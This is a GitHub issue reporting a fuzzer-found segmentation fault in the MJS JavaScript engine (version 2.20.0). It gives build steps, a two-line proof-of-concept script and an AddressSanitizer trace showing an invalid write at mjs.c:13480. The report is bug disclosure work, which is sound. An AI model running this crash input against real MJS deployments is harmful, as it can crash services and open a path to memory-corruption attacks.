cesanta/mjs

SEGV /mjs/mjs.c:13480:3

Vincebye opened this issue · 0 comments

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 

Contents of PoCfile

getmjs--;
getmjs(1);

ASAN Report

$ ./mjs-bin poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==29170==ERROR: AddressSanitizer: SEGV on unknown address 0x55b73ce7643c (pc 0x55b73ce764af bp 0x7ffe30394910 sp 0x7ffe303945f8 T0)
==29170==The signal is caused by a WRITE memory access.
    #0 0x55b73ce764af  /home/v/jse/mjs/mjs.c:13480:3
    #1 0x55b73ce804d4 in mjs_exec_internal /home/v/jse/mjs/mjs.c:9044:5
    #2 0x55b73ce80cb3 in mjs_exec_file /home/v/jse/mjs/mjs.c:9067:11
    #3 0x55b73ce925e8 in main /home/v/jse/mjs/mjs.c:11423:11
    #4 0x7f05b4c17d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:13480:3
==29170==ABORTING